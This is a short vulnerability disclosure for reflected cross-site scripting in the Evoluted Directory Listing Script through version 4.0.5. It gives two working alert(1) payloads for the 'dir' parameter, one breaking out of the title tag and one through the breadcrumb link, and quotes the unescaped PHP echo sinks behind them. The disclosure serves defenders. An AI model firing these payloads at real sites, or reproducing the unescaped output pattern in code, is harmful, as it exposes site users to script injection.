Vulnerability disclosure - Cross-site scripting (XSS) in Evoluted Directory Listing Script aka PHP Directory Listing Script - version 4.0.5

evoluted_xss_poc.txt

-----Affected Versions-----
This report concerns the software up to version 4.0.5.
The software can be downloaded from an archived page from the official developer:
https://web.archive.org/web/20220802122035/https://www.evoluted.net/assets/thinktank/wp-content/uploads/2016/08/evoluted-directory-listing-script-4.0.5.zip

That zip file is clearly labeled as version 4.0.5, and in index.php, it also states "Evoluted Directory Listing Script - Version 4".

-----Vulnerability Details-----
The index.php page has a "?dir=" parameter which is vulnerable to cross-site scripting (XSS).

The XSS can fire in two different ways.

1. XSS in <title> context.
2. Breadcrumb XSS

The two POCs:

1. XSS in <title> context.

This is the payload:
/index.php?dir=</title><script>alert(1)</script><title>

2. Breadcrumb XSS.

This is the payload:
/index.php?dir="><img src=x onerror=alert(1)>

-----RELEVANT CODE/SINKS:-----

1. XSS in <title> context:

<title>
    Directory Listing of <?php echo $data['currentPath'] . $this->config['pageTitle']; ?>
</title>

2. Breadcrumb XSS:

<a href="?dir=<?php echo $url; ?>">
    <?php echo $name; ?>
</a>